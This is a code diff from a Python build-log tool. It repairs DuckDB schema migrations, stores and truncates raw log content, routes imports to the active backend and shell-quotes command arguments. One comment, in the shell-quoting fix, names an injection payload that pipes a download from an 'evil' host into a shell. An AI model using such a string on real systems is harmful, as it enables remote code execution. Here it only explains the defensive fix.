|
471
|
+
# recreates any views dropped above).
|
|
430
472
|
schema_path = Path(__file__).parent / "bird_schema.sql"
|
|
431
473
|
if schema_path.exists():
|
|
432
474
|
schema_sql = schema_path.read_text()
|
|
@@ -504,6 +546,97 @@ class BirdStore:
|
|
|
504
546
|
|
|
505
547
|
return statements
|
|
506
548
|
|
|
549
|
+
@classmethod
|
|
550
|
+
def _needs_repair(cls, conn: duckdb.DuckDBPyConnection, current_version: str) -> bool:
|
|
551
|
+
"""True if the DB needs migration/repair — pending version bump OR a
|
|
552
|
+
required column a past (possibly silently-failed) migration never added.
|
|
553
|
+
|
|
554
|
+
Keeps the common path a fast no-op: a fully current DB returns False, so
|
|
555
|
+
_ensure_schema doesn't drop/recreate views on every connect.
|
|
556
|
+
"""
|
|
557
|
+
try:
|
|
558
|
+
parts = [int(p) for p in current_version.split(".")]
|
|
559
|
+
major, minor = parts[0], parts[1] if len(parts) > 1 else 0
|
|
560
|
+
if (major, minor) < LATEST_SCHEMA:
|
|
561
|
+
return True
|
|
562
|
+
except (ValueError, IndexError):
|
|
563
|
+
return True # unparseable version — reconcile to be safe
|
|
564
|
+
# Self-heal for migrations that failed silently on dependent views and
|
|
565
|
+
# then let the version advance past themselves (leaving no column).
|
|
566
|
+
for table, required in REQUIRED_COLUMNS.items():
|
|
567
|
+
for column in required:
|
|
568
|
+
try:
|
|
569
|
+
has = conn.execute(
|
|
570
|
+
"SELECT 1 FROM information_schema.columns "
|
|
571
|
+
f"WHERE table_name = '{table}' AND column_name = '{column}'"
|
|
572
|
+
).fetchone()
|
|
573
|
+
if not has:
|
|
574
|
+
return True
|
|
575
|
+
except duckdb.Error:
|
|
576
|
+
return True
|
|
577
|
+
return False
|
|
578
|
+
|
|
579
|
+
@staticmethod
|
|
580
|
+
def _drop_all_views(conn: duckdb.DuckDBPyConnection) -> None:
|
|
581
|
+
"""Drop all views so base-table column ALTER/RENAME isn't blocked by
|
|
582
|
+
dependents. The schema is re-applied afterward (CREATE OR REPLACE VIEW)
|
|
583
|
+
to recreate them."""
|
|
584
|
+
try:
|
|
585
|
+
views = conn.execute(
|
|
586
|
+
"SELECT table_name FROM information_schema.tables WHERE table_type = 'VIEW'"
|
|
587
|
+
).fetchall()
|
|
588
|
+
except duckdb.Error:
|
|
589
|
+
return
|
|
590
|
+
for (name,) in views:
|
|
591
|
+
try:
|
|
592
|
+
conn.execute(f'DROP VIEW IF EXISTS "{name}" CASCADE')
|
|
593
|
+
except duckdb.Error:
|
|
594
|
+
pass
|
|
595
|
+
|
|
596
|
+
@classmethod
|
|
597
|
+
def _reconcile_schema(cls, conn: duckdb.DuckDBPyConnection) -> None:
|
|
598
|
+
"""Version-independent self-heal: ensure every column in REQUIRED_COLUMNS
|
|
599
|
+
exists, even if the migration that should have added it failed silently
|
|
600
|
+
(blocked by dependent views) and the schema version advanced past it.
|
|
601
|
+
Views must already be dropped by the caller so the ALTER can proceed.
|
|
602
|
+
|
|
603
|
+
Uses ADD COLUMN, NOT rename: RENAME COLUMN on these tables is blocked by
|
|
604
|
+
non-view dependencies (FKs/constraints) that persist even after dropping
|
|
605
|
+
views, whereas ADD COLUMN is never blocked. For `extension_data`,
|
|
606
|
+
existing `sandbox` data (from the 2.3 migration) is copied into the new
|
|
607
|
+
column wrapped as {"sandbox": ...}; the now-redundant `sandbox` column is
|
|
608
|
+
left in place (harmless, and DROP COLUMN hits the same dependency wall).
|
|
609
|
+
"""
|
|
610
|
+
for table, required in REQUIRED_COLUMNS.items():
|
|
611
|
+
try:
|
|
612
|
+
cols = {
|
|
613
|
+
r[0]
|
|
614
|
+
for r in conn.execute(
|
|
615
|
+
"SELECT column_name FROM information_schema.columns "
|
|
616
|
+
f"WHERE table_name = '{table}'"
|
|
617
|
+
).fetchall()
|
|
618
|
+
}
|
|
619
|
+
except duckdb.Error as e:
|
|
620
|
+
logger.warning(f"Schema reconcile warning ({table}): {e}")
|
|
621
|
+
continue
|
|
622
|
+
if not cols:
|
|
623
|
+
continue # table doesn't exist yet; the schema file will create it
|
|
624
|
+
for column, column_type in required.items():
|
|
625
|
+
if column in cols:
|
|
626
|
+
continue
|
|
627
|
+
try:
|
|
628
|
+
conn.execute(f"ALTER TABLE {table} ADD COLUMN {column} {column_type}")
|
|
629
|
+
if column == "extension_data" and "sandbox" in cols:
|
|
630
|
+
conn.execute(
|
|
631
|
+
f"UPDATE {table} SET extension_data = "
|
|
632
|
+
f"json_object('sandbox', sandbox) WHERE sandbox IS NOT NULL"
|
|
633
|
+
)
|
|
634
|
+
logger.info(f"Repaired {table}: added extension_data (copied sandbox data)")
|
|
635
|
+
else:
|
|
636
|
+
logger.info(f"Repaired {table}: added {column}")
|
|
637
|
+
except duckdb.Error as e:
|
|
638
|
+
logger.warning(f"Schema reconcile warning ({table}.{column}): {e}")
|
|
639
|
+
|
|
507
640
|
@classmethod
|
|
508
641
|
def _apply_migrations(cls, conn: duckdb.DuckDBPyConnection, current_version: str) -> None:
|
|
509
642
|
"""Apply schema migrations from current version to latest.
|
|
@@ -557,48 +690,31 @@ class BirdStore:
|
|
|
557
690
|
# Update schema version
|
|
558
691
|
conn.execute("UPDATE blq_metadata SET value = '2.3.0' WHERE key = 'schema_version'")
|
|
559
692
|
|
|
560
|
-
# Migration: 2.3.0 -> 2.4.0 (
|
|
693
|
+
# Migration: 2.3.0 -> 2.4.0 (sandbox -> extension_data).
|
|
694
|
+
# RENAME COLUMN is blocked by non-view dependencies on these tables, so
|
|
695
|
+
# this is done as ADD + copy via _reconcile_schema (which is idempotent
|
|
696
|
+
# and always succeeds), rather than the RENAME that silently failed and
|
|
697
|
+
# left old DBs stuck without extension_data.
|
|
561
698
|
if (major, minor) < (2, 4):
|
|
562
|
-
|
|
563
|
-
|
|
564
|
-
|
|
565
|
-
# Check if old column exists
|
|
566
|
-
result = conn.execute(
|
|
567
|
-
"SELECT column_name FROM information_schema.columns "
|
|
568
|
-
f"WHERE table_name = '{table}' AND column_name = 'sandbox'"
|
|
569
|
-
).fetchone()
|
|
570
|
-
if result:
|
|
571
|
-
conn.execute(f"ALTER TABLE {table} RENAME COLUMN sandbox TO extension_data")
|
|
572
|
-
# Wrap existing sandbox data in {"sandbox": ...} envelope
|
|
573
|
-
conn.execute(
|
|
574
|
-
f"UPDATE {table} SET extension_data = "
|
|
575
|
-
f"json_object('sandbox', extension_data) "
|
|
576
|
-
f"WHERE extension_data IS NOT NULL"
|
|
577
|
-
)
|
|
578
|
-
logger.info(f"Migration: Renamed sandbox to extension_data in {table}")
|
|
579
|
-
migrations_applied = True
|
|
580
|
-
else:
|
|
581
|
-
# Check if new column exists, add if not
|
|
582
|
-
result = conn.execute(
|
|
583
|
-
"SELECT column_name FROM information_schema.columns "
|
|
584
|
-
f"WHERE table_name = '{table}' AND column_name = 'extension_data'"
|
|
585
|
-
).fetchone()
|
|
586
|
-
if not result:
|
|
587
|
-
conn.execute(f"ALTER TABLE {table} ADD COLUMN extension_data JSON")
|
|
588
|
-
logger.info(f"Migration: Added extension_data column to {table}")
|
|
589
|
-
migrations_applied = True
|
|
590
|
-
except duckdb.Error as e:
|
|
591
|
-
logger.warning(f"Migration warning: {e}")
|
|
592
|
-
migration_ok = False
|
|
593
|
-
|
|
594
|
-
if migration_ok:
|
|
595
|
-
conn.execute("UPDATE blq_metadata SET value = '2.4.0' WHERE key = 'schema_version'")
|
|
699
|
+
cls._reconcile_schema(conn)
|
|
700
|
+
migrations_applied = True
|
|
701
|
+
conn.execute("UPDATE blq_metadata SET value = '2.4.0' WHERE key = 'schema_version'")
|
|
596
702
|
|
|
597
703
|
# Migration: 2.4.0 -> 3.0.0 (directory rename .lq -> .bird, no table changes)
|
|
598
704
|
if (major, minor) < (3, 0):
|
|
599
705
|
conn.execute("UPDATE blq_metadata SET value = '3.0.0' WHERE key = 'schema_version'")
|
|
600
706
|
logger.info("Migration: Updated schema version to 3.0.0 (BIRD directory)")
|
|
601
707
|
|
|
708
|
+
# Migration: 3.0.0 -> 3.1.0 (add events.log_content — duck_hunt's raw
|
|
709
|
+
# block for the event, previously received and dropped; see #52).
|
|
710
|
+
# _reconcile_schema does the ADD COLUMN and is idempotent, so it also
|
|
711
|
+
# covers a DB whose version advanced without the column landing.
|
|
712
|
+
if (major, minor) < (3, 1):
|
|
713
|
+
cls._reconcile_schema(conn)
|
|
714
|
+
migrations_applied = True
|
|
715
|
+
conn.execute("UPDATE blq_metadata SET value = '3.1.0' WHERE key = 'schema_version'")
|
|
716
|
+
logger.info("Migration: Added log_content column to events table")
|
|
717
|
+
|
|
602
718
|
# If migrations were applied, reload views/macros to pick up new columns
|
|
603
719
|
if migrations_applied:
|
|
604
720
|
cls._reload_views_and_macros(conn)
|
|
@@ -1511,6 +1627,10 @@ class BirdStore:
|
|
|
1511
1627
|
if not events:
|
|
1512
1628
|
return 0
|
|
1513
1629
|
|
|
1630
|
+
# Local import: core imports nothing from bird at module scope, and this
|
|
1631
|
+
# mirrors the existing lazy-import pattern used elsewhere in this module.
|
|
1632
|
+
from blq.commands.core import truncate_log_content
|
|
1633
|
+
|
|
1514
1634
|
date = datetime.now().strftime("%Y-%m-%d")
|
|
1515
1635
|
|
|
1516
1636
|
for idx, event in enumerate(events):
|
|
@@ -1522,10 +1642,10 @@ class BirdStore:
|
|
|
1522
1642
|
id, invocation_id, event_index, client_id, hostname,
|
|
1523
1643
|
event_type, severity, ref_file, ref_line, ref_column,
|
|
1524
1644
|
message, code, rule, tool_name, category, test_name,
|
|
1525
|
-
fingerprint, log_line_start, log_line_end,
|
|
1526
|
-
metadata, format_used, date
|
|
1645
|
+
fingerprint, log_line_start, log_line_end, log_content,
|
|
1646
|
+
context, metadata, format_used, date
|
|
1527
1647
|
)
|
|
1528
|
-
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
|
1648
|
+
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
|
1529
1649
|
""",
|
|
1530
1650
|
[
|
|
1531
1651
|
event_id,
|
|
@@ -1547,6 +1667,7 @@ class BirdStore:
|
|
|
1547
1667
|
event.get("fingerprint"),
|
|
1548
1668
|
event.get("log_line_start"),
|
|
1549
1669
|
event.get("log_line_end"),
|
|
1670
|
+
truncate_log_content(event.get("log_content")),
|
|
1550
1671
|
event.get("context"),
|
|
1551
1672
|
json.dumps(event.get("metadata")) if event.get("metadata") else None,
|
|
1552
1673
|
format_used,
|
|
@@ -26,7 +26,8 @@ CREATE TABLE IF NOT EXISTS blq_metadata (
|
|
|
26
26
|
);
|
|
27
27
|
|
|
28
28
|
-- Insert schema version (ignore if exists)
|
|
29
|
-
|
|
29
|
+
-- Keep in sync with SCHEMA_VERSION in bird.py (migrations key off it)
|
|
30
|
+
INSERT OR IGNORE INTO blq_metadata VALUES ('schema_version', '3.1.0');
|
|
30
31
|
INSERT OR IGNORE INTO blq_metadata VALUES ('storage_mode', 'duckdb');
|
|
31
32
|
|
|
32
33
|
-- Base path for blob storage (set at runtime)
|
|
@@ -230,6 +231,7 @@ CREATE TABLE IF NOT EXISTS events (
|
|
|
230
231
|
fingerprint VARCHAR, -- Unique identifier for dedup
|
|
231
232
|
log_line_start INTEGER, -- Start line in raw log
|
|
232
233
|
log_line_end INTEGER, -- End line in raw log
|
|
234
|
+
log_content VARCHAR, -- Raw log block for this event (duck_hunt log_content)
|
|
233
235
|
context VARCHAR, -- Surrounding context
|
|
234
236
|
metadata JSON, -- Format-specific extras
|
|
235
237
|
|
|
@@ -344,6 +346,7 @@ SELECT
|
|
|
344
346
|
e.fingerprint,
|
|
345
347
|
e.log_line_start,
|
|
346
348
|
e.log_line_end,
|
|
349
|
+
e.log_content,
|
|
347
350
|
e.context,
|
|
348
351
|
e.metadata,
|
|
349
352
|
|
|
@@ -11,6 +11,7 @@ import json
|
|
|
11
11
|
import logging
|
|
12
12
|
import os
|
|
13
13
|
import re
|
|
14
|
+
import shlex
|
|
14
15
|
import shutil
|
|
15
16
|
import subprocess
|
|
16
17
|
import sys
|
|
@@ -1320,15 +1321,21 @@ def expand_command(
|
|
|
1320
1321
|
raise ValueError(f"Missing required argument '{placeholder.name}'")
|
|
1321
1322
|
|
|
1322
1323
|
# Substitute placeholders in template
|
|
1324
|
+
# The expanded string is run with shell=True, so every value that comes from
|
|
1325
|
+
# a caller (placeholder values and passthrough/extra args) is shell-quoted to
|
|
1326
|
+
# prevent injection (e.g. `&& curl evil | sh`). The template itself is trusted
|
|
1327
|
+
# (defined at registration) and is left intact so it may carry intentional
|
|
1328
|
+
# shell syntax. Note: a placeholder value is now a single shell token — a
|
|
1329
|
+
# value like "-k foo" no longer splits into two arguments.
|
|
1323
1330
|
result = template
|
|
1324
1331
|
for match in _PLACEHOLDER_PATTERN.finditer(template):
|
|
1325
1332
|
name = match.group(1)
|
|
1326
|
-
result = result.replace(match.group(0), values[name], 1)
|
|
1333
|
+
result = result.replace(match.group(0), shlex.quote(values[name]), 1)
|
|
1327
1334
|
|
|
1328
|
-
# Append extra args
|
|
1335
|
+
# Append extra args (each quoted so passthrough args stay literal argv tokens)
|
|
1329
1336
|
all_extra = remaining_positional + (extra_args or [])
|
|
1330
1337
|
if all_extra:
|
|
1331
|
-
result = result + " " + " ".join(all_extra)
|
|
1338
|
+
result = result + " " + " ".join(shlex.quote(arg) for arg in all_extra)
|
|
1332
1339
|
|
|
1333
1340
|
return result
|
|
1334
1341
|
|
|
@@ -1860,6 +1867,37 @@ def get_next_run_id(lq_dir: Path) -> int:
|
|
|
1860
1867
|
return max_id + 1 if max_id > 0 else 1
|
|
1861
1868
|
|
|
1862
1869
|
|
|
1870
|
+
# ============================================================================
|
|
1871
|
+
# Event content
|
|
1872
|
+
# ============================================================================
|
|
1873
|
+
|
|
1874
|
+
# Cap on the stored `log_content` (duck_hunt's raw block for an event, e.g. the
|
|
1875
|
+
# whole pytest FAILURES block). It is bounded in practice — the block, not the
|
|
1876
|
+
# log — but not in principle: a parser that spans a large region, or a test that
|
|
1877
|
+
# dumps a large diff, can produce a very big value, and every event of a run
|
|
1878
|
+
# would carry its own copy. 32K is well above any realistic traceback while
|
|
1879
|
+
# keeping a pathological run from bloating storage.
|
|
1880
|
+
LOG_CONTENT_MAX_CHARS = 32_768
|
|
1881
|
+
|
|
1882
|
+
|
|
1883
|
+
def truncate_log_content(value: str | None, max_chars: int = LOG_CONTENT_MAX_CHARS) -> str | None:
|
|
1884
|
+
"""Cap `log_content`, making any truncation visible in the value itself.
|
|
1885
|
+
|
|
1886
|
+
Silent shortening has bitten this codebase before, so an over-long value
|
|
1887
|
+
keeps its head and gains a marker stating what was kept and what existed:
|
|
1888
|
+
|
|
1889
|
+
... [blq: log_content truncated to 32768 of 91234 chars]
|
|
1890
|
+
|
|
1891
|
+
Values at or under the cap are returned unchanged (including None/"").
|
|
1892
|
+
"""
|
|
1893
|
+
if not value or len(value) <= max_chars:
|
|
1894
|
+
return value
|
|
1895
|
+
return (
|
|
1896
|
+
value[:max_chars]
|
|
1897
|
+
+ f"\n... [blq: log_content truncated to {max_chars} of {len(value)} chars]"
|
|
1898
|
+
)
|
|
1899
|
+
|
|
1900
|
+
|
|
1863
1901
|
# ============================================================================
|
|
1864
1902
|
# Parquet Writing
|
|
1865
1903
|
# ============================================================================
|
|
@@ -1901,7 +1939,11 @@ PARQUET_SCHEMA = [
|
|
|
1901
1939
|
("ref_column", "BIGINT"),
|
|
1902
1940
|
# Content
|
|
1903
1941
|
("message", "VARCHAR"),
|
|
1904
|
-
(
|
|
1942
|
+
# duck_hunt's raw block for this event (e.g. the whole pytest FAILURES
|
|
1943
|
+
# block). Replaces the vestigial `raw_text`, which nothing ever populated —
|
|
1944
|
+
# duck_hunt's field has been named log_content since its Schema V3
|
|
1945
|
+
# (see docs/design/duck-hunt-v3-migration.md).
|
|
1946
|
+
("log_content", "VARCHAR"),
|
|
1905
1947
|
# Classification
|
|
1906
1948
|
("tool_name", "VARCHAR"),
|
|
1907
1949
|
("category", "VARCHAR"),
|
|
@@ -1974,6 +2016,8 @@ def write_run_parquet(
|
|
|
1974
2016
|
for event in events or [{}]:
|
|
1975
2017
|
# Merge run metadata and event data
|
|
1976
2018
|
merged = {**run_meta, **event}
|
|
2019
|
+
if merged.get("log_content"):
|
|
2020
|
+
merged["log_content"] = truncate_log_content(merged["log_content"])
|
|
1977
2021
|
# Build row with all columns in schema order
|
|
1978
2022
|
vals = []
|
|
1979
2023
|
for col in PARQUET_SCHEMA_COLUMNS:
|
|
@@ -45,7 +45,7 @@ from blq.commands.core import (
|
|
|
45
45
|
parse_log_content,
|
|
46
46
|
write_run_parquet,
|
|
47
47
|
)
|
|
48
|
-
from blq.ext import CommandSpec
|
|
48
|
+
from blq.ext import CommandSpec, capture_env
|
|
49
49
|
from blq.ext.discovery import load_extensions, order_extensions
|
|
50
50
|
from blq.ext.local_executor import LocalExecutor
|
|
51
51
|
from blq.ext.pipeline import run_pipeline
|
|
@@ -772,6 +772,7 @@ def _execute_command(
|
|
|
772
772
|
stderr=subprocess.STDOUT,
|
|
773
773
|
text=True,
|
|
774
774
|
start_new_session=True,
|
|
775
|
+
env=capture_env(),
|
|
775
776
|
)
|
|
776
777
|
|
|
777
778
|
output_lines: list[str] = []
|
|
@@ -1137,6 +1138,7 @@ def _run_no_capture(command: str, quiet: bool = False) -> int:
|
|
|
1137
1138
|
stderr=subprocess.STDOUT,
|
|
1138
1139
|
text=True,
|
|
1139
1140
|
start_new_session=True,
|
|
1141
|
+
env=capture_env(),
|
|
1140
1142
|
)
|
|
1141
1143
|
|
|
1142
1144
|
assert process.stdout is not None # stdout=PIPE ensures this
|
|
@@ -1559,6 +1561,39 @@ def cmd_exec(args: argparse.Namespace) -> None:
|
|
|
1559
1561
|
sys.exit(result.exit_code)
|
|
1560
1562
|
|
|
1561
1563
|
|
|
1564
|
+
def _write_imported_run(
|
|
1565
|
+
events: list[dict[str, Any]],
|
|
1566
|
+
run_meta: dict[str, Any],
|
|
1567
|
+
config: "BlqConfig",
|
|
1568
|
+
lq_dir: Path,
|
|
1569
|
+
) -> Path:
|
|
1570
|
+
"""Persist an imported/captured run to the ACTIVE storage backend.
|
|
1571
|
+
|
|
1572
|
+
`import` and `capture` used to call `write_run_parquet` unconditionally,
|
|
1573
|
+
while `exec`/`run` branch on `config.use_bird`. BIRD is the default storage
|
|
1574
|
+
mode, so on a default project those two commands wrote a well-formed
|
|
1575
|
+
parquet under `.bird/logs/` that the query layer — a view over the BIRD
|
|
1576
|
+
tables — never reads:
|
|
1577
|
+
|
|
1578
|
+
$ blq import report.json --format pytest_json
|
|
1579
|
+
Imported 2 events (2 errors, 0 warnings)
|
|
1580
|
+
Saved to .bird/logs/date=.../source=import/001_report.parquet
|
|
1581
|
+
$ blq events
|
|
1582
|
+
(no data)
|
|
1583
|
+
|
|
1584
|
+
Success, a destination path, exit 0, a real file, and nothing observable.
|
|
1585
|
+
The branch was added to the exec path and never to these two.
|
|
1586
|
+
|
|
1587
|
+
Raw output is deliberately not stored here: neither command previously
|
|
1588
|
+
retained it, and this function is fixing where events land, not what else
|
|
1589
|
+
gets kept.
|
|
1590
|
+
"""
|
|
1591
|
+
if config.use_bird:
|
|
1592
|
+
_invocation_id, db_path = write_bird_invocation(events, run_meta, lq_dir)
|
|
1593
|
+
return db_path
|
|
1594
|
+
return write_run_parquet(events, run_meta, lq_dir)
|
|
1595
|
+
|
|
1596
|
+
|
|
1562
1597
|
def cmd_import(args: argparse.Namespace) -> None:
|
|
1563
1598
|
"""Import an existing log file."""
|
|
1564
1599
|
config = BlqConfig.ensure()
|
|
@@ -1587,7 +1622,7 @@ def cmd_import(args: argparse.Namespace) -> None:
|
|
|
1587
1622
|
"exit_code": 0,
|
|
1588
1623
|
}
|
|
1589
1624
|
|
|
1590
|
-
outpath =
|
|
1625
|
+
outpath = _write_imported_run(events, run_meta, config, lq_dir)
|
|
1591
1626
|
|
|
1592
1627
|
errors = sum(1 for e in events if e.get("severity") == "error")
|
|
1593
1628
|
warnings = sum(1 for e in events if e.get("severity") == "warning")
|
|
@@ -1620,7 +1655,7 @@ def cmd_capture(args: argparse.Namespace) -> None:
|
|
|
1620
1655
|
"exit_code": 0,
|
|
1621
1656
|
}
|
|
1622
1657
|
|
|
1623
|
-
outpath =
|
|
1658
|
+
outpath = _write_imported_run(events, run_meta, config, lq_dir)
|
|
1624
1659
|
|
|
1625
1660
|
errors = sum(1 for e in events if e.get("severity") == "error")
|
|
1626
1661
|
warnings = sum(1 for e in events if e.get("severity") == "warning")
|
|
@@ -11,6 +11,8 @@ from datetime import datetime
|
|
|
11
11
|
from pathlib import Path
|
|
12
12
|
from typing import Any, Protocol
|
|
13
13
|
|
|
14
|
+
import os
|
|
15
|
+
|
|
14
16
|
|
|
15
17
|
@dataclass
|
|
16
18
|
class CommandSpec:
|
|
@@ -83,3 +85,32 @@ class Executor(Protocol):
|
|
|
83
85
|
name: str
|
|
84
86
|
|
|
85
87
|
def execute(self, spec: CommandSpec) -> ExecutionResult: ...
|
|
88
|
+
|
|
89
|
+
|
|
90
|
+
#: Terminal width presented to captured child processes. Wide enough that the
|
|
91
|
+
#: tools we parse stop abbreviating; not so wide that a tool wrapping to it
|
|
92
|
+
#: produces unreadable raw logs.
|
|
93
|
+
CAPTURE_COLUMNS = 200
|
|
94
|
+
|
|
95
|
+
|
|
96
|
+
def capture_env(base: dict[str, str] | None = None) -> dict[str, str]:
|
|
97
|
+
"""Environment for a captured child process.
|
|
98
|
+
|
|
99
|
+
Anything that formats for a terminal consults COLUMNS (or an ioctl) and
|
|
100
|
+
falls back to 80 columns when there is no TTY — which is always, under a
|
|
101
|
+
capturing runner. `pytest -q` abbreviates its short-summary line on that
|
|
102
|
+
basis, and since blq parses that line, the stored message loses everything
|
|
103
|
+
past roughly 80 columns minus the length of the test name:
|
|
104
|
+
|
|
105
|
+
73-char test name -> 7 characters survive ('asse...')
|
|
106
|
+
35-char test name -> 45 characters survive, nothing is lost
|
|
107
|
+
|
|
108
|
+
So how diagnosable a failure was depended on how long someone had named
|
|
109
|
+
the test. Presenting a wide COLUMNS fixes the whole class at the point of
|
|
110
|
+
capture — no parser can recover text the tool never printed.
|
|
111
|
+
|
|
112
|
+
An explicit COLUMNS from the caller wins: someone who set it meant it.
|
|
113
|
+
"""
|
|
114
|
+
env = dict(os.environ if base is None else base)
|
|
115
|
+
env.setdefault("COLUMNS", str(CAPTURE_COLUMNS))
|
|
116
|
+
return env
|